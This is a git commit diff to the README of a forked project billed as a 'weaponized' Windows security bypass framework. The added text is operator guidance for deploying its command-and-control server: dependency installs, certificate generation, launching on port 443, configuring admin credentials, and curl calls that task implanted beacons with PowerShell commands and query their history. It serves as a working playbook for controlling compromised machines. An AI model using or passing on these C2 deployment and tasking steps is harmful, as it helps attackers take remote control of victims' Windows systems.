forked from ek0mssavi0r/CHURCH
Update README.md
This commit is contained in:
parent
177c0ee99b
commit
eddd01d11b
37
README.md
37
README.md
|
|
@ -1,3 +1,4 @@
|
||||||
|
|
||||||
# Church - Weaponized Windows Security Bypass Framework
|
# Church - Weaponized Windows Security Bypass Framework
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -123,13 +124,22 @@ To use your own signed driver:
|
||||||
|
|
||||||
## C2 Server Deployment
|
## C2 Server Deployment
|
||||||
|
|
||||||
|
The C2 server is fully hardened with the following security features:
|
||||||
|
- XOR-obfuscated AES keys (same as implant, key 0xDD)
|
||||||
|
- JWT secret persisted to file (survives restarts)
|
||||||
|
- HTTPS only (HTTP mode removed)
|
||||||
|
- Base64 CRLF sanitization for reliable decryption
|
||||||
|
- UUID-based beacon IDs (no collisions)
|
||||||
|
- Rate limiting on all API endpoints (10-30 requests per minute)
|
||||||
|
- HttpOnly, Secure session cookies for web UI
|
||||||
|
|
||||||
Install dependencies:
|
Install dependencies:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip install flask flask-socketio cryptography werkzeug
|
pip install flask flask-socketio cryptography werkzeug flask-limiter
|
||||||
```
|
```
|
||||||
|
|
||||||
Generate SSL certificate (for HTTPS):
|
Generate SSL certificate:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||||
|
|
@ -138,7 +148,14 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
||||||
Run the C2 server:
|
Run the C2 server:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python church_c2_server.py --host 0.0.0.0 --port 443
|
python church_c2_server.py --host 0.0.0.0 --port 443 --cert cert.pem --key key.pem
|
||||||
|
```
|
||||||
|
|
||||||
|
Configure admin credentials via environment variables or config file:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export CHURCH_ADMIN_USER="admin"
|
||||||
|
export CHURCH_ADMIN_HASH="$(python -c 'from werkzeug.security import generate_password_hash; print(generate_password_hash("yourpassword"))')"
|
||||||
```
|
```
|
||||||
|
|
||||||
C2 API Endpoints:
|
C2 API Endpoints:
|
||||||
|
|
@ -158,9 +175,21 @@ curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \
|
-d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \
|
||||||
https://localhost/api/task
|
https://localhost/api/task
|
||||||
|
|
||||||
|
# Get beacon details
|
||||||
|
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
|
https://localhost/api/beacon/<beacon_id>
|
||||||
|
|
||||||
|
# Get task history
|
||||||
|
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
|
https://localhost/api/tasks/<beacon_id>
|
||||||
|
|
||||||
|
# Get system statistics
|
||||||
|
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
|
https://localhost/api/stats
|
||||||
```
|
```
|
||||||
|
|
||||||
Web UI Access: https://c2-server:443 (admin / CHURCHadmin2024)
|
Web UI Access: https://c2-server:443
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue
Block a user